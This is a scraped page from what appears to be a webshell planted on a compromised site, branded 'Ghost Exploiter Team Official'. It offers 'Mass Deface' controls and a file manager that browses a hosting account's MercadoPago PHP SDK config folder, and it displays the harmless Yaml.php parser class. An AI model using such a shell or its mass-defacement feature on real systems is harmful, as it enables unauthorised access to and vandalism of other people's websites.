webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
mercadopago
/
dx-php
/
src
/
MercadoPago
/
Config
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
AbstractConfig.php
1.58KB
edt
ren
Json.php
0.784KB
edt
ren
ParserInterface.php
0.312KB
edt
ren
Yaml.php
0.67KB
edt
ren
<?php namespace MercadoPago\Config; use Exception; use Symfony\Component\Yaml\Yaml as YamlParser; /** * Yaml Class Doc Comment * * @package MercadoPago\Config */ class Yaml implements ParserInterface { /** * @param $path * * @return mixed * @throws Exception */ public function parse($path) { try { $data = YamlParser::parse(file_get_contents($path)); } catch (Exception $exception) { throw new Exception('Error parsing YAML file'); } return $data; } /** * @return array */ public function getSupportedExtensions() { return array('yaml', 'yml'); } }